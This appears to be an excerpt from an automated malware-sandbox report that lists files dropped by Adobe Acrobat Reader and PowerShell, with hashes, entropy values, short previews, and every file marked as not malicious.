SHA-256:	7BE594A0017429013D3A9E10D2DD6633F488F4EA54C040A97E00A750BF543552
SHA-512:	8725B3C1F8E0EDFA580873A4335F56E1F0CBE1144BB0FC7604CB09479176706A9BBB28AA3F4A7397E32A1560AEBABECB334361047D4AEA85F6D63456600844B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.249685156638667
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJf+dPeUkwRe9:YvXKXEGEH7O2vR/ZwHATG28Ukee9
MD5:	738A130F23D12934A924853455761811
SHA1:	68887DB3928CB575B48EE57BA3A02AE9458F5A3F
SHA-256:	894239DCA97ED1C459F6C838DB63D5995DD02DE3F5BA00245AB2198B6894C61B
SHA-512:	4786337D11C2B3C749BCFC3ECBE6C2E9AFB7310127611EB6D7EB512924838CD7D8DD3991D8BE887E837C333C32CFCB1A3288D78F64BA9971AE037AC0B4E9E321
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.246980234870888
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJfbPtdPeUkwRe9:YvXKXEGEH7O2vR/ZwHATGDV8Ukee9
MD5:	68CB8A09F0C8BF5D182B1F1B22422FC9
SHA1:	AC9E4E66AFC1C473AE73DED086C2CAA8F7C6032F
SHA-256:	1DF7203CB54636C4BF4CA55DBA350F22BE698AD527F0C1D570D0A35A39E12A7D
SHA-512:	D82E13751A8EBFA44239D463D999C49BC3DFB07F3CFD61A401428D17C758181E420F6BD83E05998F3C26B86868C0E21A94CE9ECB5EC5A4B7E0FAC0CB6E19D5B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2448637913343505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJf21rPeUkwRe9:YvXKXEGEH7O2vR/ZwHATG+16Ukee9
MD5:	2ACCCEDDBEC2A1920E25F7B85D9D772E
SHA1:	C64936C0A5D9FFCC11332D5B72BF62FCBD47147E
SHA-256:	1BE577B1ED07B3D0ED7279FEBEFC19AFD2186B06FB4E48B880499C57E9A3DD23
SHA-512:	073469C699AE382EC99515F050C14C7CCD2FAFCC29607FE9185C38993CB986DD8B40DCB92BA1F0A36AC7686A2B78077105806EC413E6DCBBFB3B8BE8EF8FC8DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660030847104874
Encrypted:	false
SSDEEP:	24:Yv6XvEa2JhQamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSJ2:Yv5NJhWBgkDMUJUAh8cvMJ2
MD5:	2F8D7B66E9195D4F6A2EF9077B1D58EA
SHA1:	DB115C382D99AE726DDF557A09A26EDCD5F0C6A1
SHA-256:	466F26E2898FE568745C7D6DAE37DC2BBA66BB73CD4BDE30043E429BF091B9A1
SHA-512:	11D453D3B9497EB607224873EEDF676871831AE3A020EFDF0DC0FAF9D2DA61FF0946E78F0A1EF2960FD8BE9E8B19324496BB37BE0EAE0BFFD4CE68973DD0C5E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2230785420332655
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJfshHHrPeUkwRe9:YvXKXEGEH7O2vR/ZwHATGUUUkee9
MD5:	3004EDBB4A49E172492F4D2FC866A23B
SHA1:	697AFD7BF41FB33965176EC7D68DF6300EFC5E87
SHA-256:	FE8FE27E9B97C0E9843CE49D373247E6C09384029B5EB255A864B10E0EE94E3B
SHA-512:	A303178823ABCFDA823FC48D16DB3D174CC5A4B97EA0E586D22F9528AA1FD907347422AD5B614FC56682F7A7A40B315FDBEDB2C26F6DE0320D50FB58B011DA47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.236861003844767
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHkGPsGQelWO2vB3/dVlPIHAR0YR3RkoAvJTqgFCrPeUkwRe9:YvXKXEGEH7O2vR/ZwHATGTq16Ukee9
MD5:	BF73D81C2F737DE92F9D7CE7829B8114
SHA1:	5E8351BF6D725CC84CEFDF5B14ABB0DBCB214572
SHA-256:	05A4B5EED8D7014D303285209DABD438DF8785A3D1FE550D9B776E64EA1FAEC3
SHA-512:	7A260C3E51437C3BBF80493922E5ADF7382416375CD3CC3F49BAD0A38427BA8D773B43C9A9301EF3D4B37EA9ED144ED20EF12719D0685C02B4FCFE652DC1D3FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0434c660-76b0-492f-9c3e-621c5e5eee26","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736747296142,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140666452422789
Encrypted:	false
SSDEEP:	48:YCsVVrd86km2pI15k/E8ue1n6NcKfzof6p9LyyKbGlh9qNecdt:qum2ppM8t6zHjL/M
MD5:	EC391CFBA94EB199C2C6F726F53A157D
SHA1:	0EB276EE1BED4FE7E1D6DC857DED5F19982561B9
SHA-256:	5DC2732E5BD0CE3BCD421E3F1A7250F0CC1E58342FAB616EA3834392BE729308
SHA-512:	7F9376F28B5C8D3CDA38A37B3C0A68CD7EBC16646D4BE0C8A3FA0D49C4AC0ABE02C8A34264EF03CBDEB9694939C86511A95D84088F77B53FFEF630729878A653
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e51081554ee1bf28be870c46d4c4eb85","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736569470000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4fce07d7b2d3d8c1646819949b5131f3","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736569470000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6c8c6a75265429f8e51ed3363bb6be79","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736569470000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"fcbe693925716f95cea565997b70a3d3","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736569470000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3e0cf9f8fd9957d53172449566a2ad89","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736569470000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"07daccf6bec66584a77614b3edba1be3","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3192124394208322
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMePtqVpae:TGufl2GL7ms9WR1CPmPbPahFypilI7
MD5:	A8AFF593FB355A448E6658D5A242A7A2
SHA1:	94BC699CADBBAB3BC20C546C31C6619235F9596D
SHA-256:	D72E5392DD0FFF66588C210C3765513F9250B71D3EA5134849AD3CF7392F50D4
SHA-512:	02CD007345385726D6D2DF795B86938A93D2D91871C65D96F8605B386D5B41388327C3A891094018D830129EF688991A9E76D1E7E14AC5B0CFC6C3B8A4847969
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7814224164690484
Encrypted:	false
SSDEEP:	24:7+tylhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeP4qVpaVrScVr0In5qLhx/XZ:7M5WR1CPmPbPahAypilIEqFl2GL7ms7
MD5:	7F3F1A1DBD44F04C64A1195382ACA6FB
SHA1:	FE94C8D80481FB64EC3A84900E82CE790CA0FB51
SHA-256:	0E4178F3D9DB13620B3A5463A507B89BEB1ABAA9D11C334F655ACF995BD96B8B
SHA-512:	46710D53608B3D047FEEF61CFD4B075B96173B6B3846D9688493FE4DCC76D59E84A7836B93AEF6B0C99596C9B9C76BD4D8A02E190C9CF9AB87FFCBF053A3C0D3
Malicious:	false
Preview:	.... .c.......]...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgx2k+/BfYelnQyGWMSUfd9r5w5IYyu:6a6TZ44ADEx2k+/ZYelncr5QIK
MD5:	FB361F582385DF582E16A112DA3BF424
SHA1:	A6D14E3B2C560242BF4EE1E49A43D67BAAFB0759
SHA-256:	C052077849BA99AD7C31EA1AED1A4C54599E6F60A3CF2CE259F446E54C4BAAD4
SHA-512:	095B26C937191DDD0D3E875AA7F3EC397D27C3E5A471CC722F61084DAC3272EAFB42A4567B05812EED5ED4D4D8454A8F10D175AF46C361D47CA50AA9EAACEB2E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI74a42.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClDwlYH:Qw946cPbiOxDlbYnuRK+bzlYH
MD5:	E6BA1431B5345FAF27B523BA85059CAD
SHA1:	93ECFF5738440E591BA0663A36E3B9204686BCBC
SHA-256:	0F6A750C407020D3084E2B134C60B85E99E495139B23CDE719B14C382E2C3C49
SHA-512:	F37D79B68C0DAB55B7EF00523FCD6F31C4B728B000D52CB7C8D798EA78F8FCECCC39277787ED2878C94D3CDE2FF9304D09C64A629092005F3D02B11882D53647
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.2.4.:.3.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dpjxu3fp.5vr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lv4nffo1.rue.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-24-24-475.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.345765002317772
Encrypted:	false
SSDEEP:	384:R+SjSSHUNsTjysVzRcSwvBPwI7IEJB1iOeEiIUjE43gm1TqYzlYYjklkJoJ/cfMz:sC8
MD5:	549FDF6C51933AADEB82F795EA185FBA
SHA1:	D6128DD86A6C9821363E6F101969FF3DB529E8B1
SHA-256:	8B2F3F3FB5DD88514BF5DA6E745F63B90F82C4BA654AF1D893A58BD41A0EEB7E
SHA-512:	40A10C2255CC9C81D133637B072F44A0456A09020576D26C660FFA9D1FDCD2FF040395B0D753806E1BA6C6477D99D0A9DDDF1EB4AB10704F023BD40874FEBAAA
Malicious:	false
Preview:	SessionID=93c36b60-0186-456d-892d-83e016419996.1736569464484 Timestamp=2025-01-10T23:24:24:484-0500 ThreadID=2508 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=93c36b60-0186-456d-892d-83e016419996.1736569464484 Timestamp=2025-01-10T23:24:24:485-0500 ThreadID=2508 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=93c36b60-0186-456d-892d-83e016419996.1736569464484 Timestamp=2025-01-10T23:24:24:485-0500 ThreadID=2508 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=93c36b60-0186-456d-892d-83e016419996.1736569464484 Timestamp=2025-01-10T23:24:24:485-0500 ThreadID=2508 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=93c36b60-0186-456d-892d-83e016419996.1736569464484 Timestamp=2025-01-10T23:24:24:485-0500 ThreadID=2508 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4041075630792665
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cb1Gcb8IS2cbp:ceo4+rsCT1S9
MD5:	B8DBC20F2DBBD7D69A1CA0013797DD79
SHA1:	4003260F7F15F05425EFA174D9BFDA87DE87B184
SHA-256:	98B736CF618D24D1A930D1A930F7960AE98D4E19118B2966E17B960192E792DC
SHA-512:	0DDBC64E81140F134AAB1DD496EE75AB3708DC35A7977B5F7073669D7EA35717889333E278FD1E4DAC48C60456A046670741652C886A0205CBF5631A7E89F134
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\09da2cb8-4e12-48f3-b8e9-30f72c9b3b8c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\10a8a4f7-f4a0-4ce3-abd6-d6d1f268f441.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
